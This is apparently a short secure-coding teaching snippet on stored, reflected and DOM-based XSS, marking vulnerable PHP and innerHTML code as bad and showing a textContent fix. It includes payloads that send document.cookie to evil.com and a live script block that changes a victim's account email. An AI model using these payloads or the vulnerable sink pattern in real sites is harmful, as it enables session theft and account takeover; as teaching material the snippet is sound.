Stored, Reflected, and DOM-Based XSS

<!-- VULNERABLE examples — never do this -->

<!-- Reflected XSS: server echoes URL parameter unencoded -->
<!-- URL: https://example.com/search?q=<script>alert(1)</script> -->
<!-- PHP: echo "Results for: " . $_GET['q']; -->

<!-- Stored XSS: user-supplied comment rendered unencoded -->
<!-- DB stores: <script>fetch('https://evil.com?c='+document.cookie)</script> -->
<!-- Template: <p><?= $comment ?></p>  ← BAD -->

<!-- DOM XSS: client reads from location.hash and writes to innerHTML -->
<div id="greeting"></div>
<script>
  // BAD: location.hash is attacker-controlled
  // URL: https://example.com/page#<img src=x onerror=alert(1)>
  const name = decodeURIComponent(location.hash.slice(1));
  document.getElementById('greeting').innerHTML = 'Hello, ' + name;
  //                                    ^^^^^^^^^ SINK: dangerous

  // SAFE alternative: use textContent instead of innerHTML
  document.getElementById('greeting').textContent = 'Hello, ' + name;
</script>

<!-- Impact of a real XSS payload -->
<script>
// Steals session cookie and sends it to attacker's server
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);

// Or silently changes the victim's email address via fetch
fetch('/api/account', {
  method: 'PATCH',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: 'attacker@evil.com' }),
  credentials: 'include'
});
</script>